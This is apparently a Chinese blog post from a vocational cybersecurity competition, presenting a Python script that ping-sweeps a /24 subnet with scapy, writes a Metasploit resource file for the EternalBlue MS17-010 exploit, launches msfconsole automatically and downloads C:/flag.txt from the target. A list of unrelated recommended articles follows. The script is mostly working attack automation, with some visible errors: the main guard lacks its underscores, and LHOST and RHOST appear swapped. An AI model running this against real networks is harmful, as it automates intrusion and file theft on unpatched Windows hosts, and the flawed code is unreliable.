中职网络安全 MSF 漏洞 自动利用脚本 Python C模块

import os

import ipaddress

import queue

import socket

import threading

import random

from scapy.layers.inet import IP,ICMP,sr1

q = queue.Queue()

q2 = queue.Queue()

port = 1000

def get_ip(host):

ip = ipaddress.ip_network(host).hosts()

for i in ip:

q.put(str(i))

def host_Scanner():

while True:

if q.empty():

break

ip = q.get()

a = IP(dst=ip) / ICMP() / bytes(str([random.randint(0,255) for _ in range(10)]),encoding='utf-8')

b = sr1(a,verbose=False,timeout=3)

if b:

q2.put(ip)

def Handler(configFile,lhost,lport,rhost):

configFile.write('use exploit/windows/smb/ms17_010_eternalblue\n')

configFile.write('set LPORT ' + str(lport) + '\n')

configFile.write('set LHOST ' + str(lhost) + '\n')

configFile.write('set RHOST ' + str(rhost) + '\n')

configFile.write('exploit\n')

configFile.write('download C:/flag.txt ./' + '\n')

configFile.write('exit\n')

def main():

global port

if q2.empty():

return

configFile = open('ms17_010.rc', 'w')

lhost = q2.get()

lport = str(port)

rhost = '192.168.201.169'

Handler(configFile, lhost, lport, rhost)

configFile.close()

os.system('msfconsole -r ms17_010.rc')

print(f'[+] ip=>{lhost} is open ms17_010')

port += 5

if name == 'main':

file = open('ip.txt','w')

get_ip('192.168.201.0/24')

f = []

for i in range(50):

t = threading.Thread(target=host_Scanner)

t.start()

f.append(t)

for i in f:

i.join()

for i in range(2):

t = threading.Thread(target=main)

t.start()

相关推荐
秋邱几秒前
AR + 离线 AI 实战:YOLOv9+TensorFlow Lite 实现移动端垃圾分类识别
开发语言·前端·数据库·人工智能·python·html
程序员杰哥3 分钟前
UI自动化测试框架:PO 模式+数据驱动
自动化测试·软件测试·python·selenium·测试工具·ui·测试用例
望安认证8 分钟前
望安科技赞助并出席 2025 CCF 中国软件大会,共话形式化验证与原生安全最新发展
大数据·科技·安全·形式化验证·原生安全
Bruce_Liuxiaowei13 分钟前
[特殊字符] 安全日志分析的关键技术与知识体系
安全·网络安全
AI视觉网奇15 分钟前
视频选帧截取
python·opencv·音视频
hmbbcsm21 分钟前
练习python题目小记(七)
开发语言·python
百度安全31 分钟前
企业人员安全意识解决方案 帮助企业构建可持续的安全意识培养生态
安全·网络安全·安全威胁分析
qq_3561969538 分钟前
day27pipeline管道@浙大疏锦行
python
噔噔噔噔@41 分钟前
第一章、基础理论——第一节、软件测试概述
python·单元测试·压力测试
冷雨夜中漫步42 分钟前
AI入坑之路——(1)搭建本地的Python与Jupyter开发环境
人工智能·python·jupyter